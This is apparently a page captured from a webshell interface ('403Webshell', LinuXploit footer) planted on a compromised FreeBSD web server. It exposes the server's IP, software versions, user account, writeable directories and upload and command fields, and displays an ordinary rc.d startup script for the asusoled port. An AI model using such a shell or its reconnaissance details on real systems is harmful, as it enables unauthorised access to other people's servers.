403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/asusoled/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/asusoled/files/asusoled.in
#!/bin/sh

# PROVIDE: asusoled
# REQUIRE: DAEMON
# KEYWORD: nojail shutdown
#
# Add the following lines to /etc/rc.conf to enable the ASUS OLED display:
#
# asusoled_enable="YES"
#

asusoled_enable=${asusoled_enable-"NO"}
asusoled_flags=${asusoled_flags-"-f %%PREFIX%%/share/asusoled/asus.png"}
asusoled_command=${asusoled_command-""}

. /etc/rc.subr

name=asusoled
rcvar=asusoled_enable

start_cmd=asusoled_start
stop_cmd=asusoled_stop

asusoled_bin="%%PREFIX%%/sbin/asusoled"
asusoled_pidfile="/var/run/${name}.pid"

asusoled_start() {
    if checkyesno asusoled_enable
    then
	echo "Starting asusoled."
	${asusoled_bin} -e || exit 1
	if test ! -z "${asusoled_command}"
	then
	    ${asusoled_bin} ${asusoled_flags} -c "${asusoled_command}"
	else
	    ${asusoled_bin} ${asusoled_flags}
	fi
    fi
}

asusoled_stop() {
    if checkyesno asusoled_enable
    then
	echo "Stopping asusoled."
	test -f ${asusoled_pidfile} &&
	    ${asusoled_bin} -k -p ${asusoled_pidfile}
	${asusoled_bin} -d
    fi
}

load_rc_config ${name}
run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit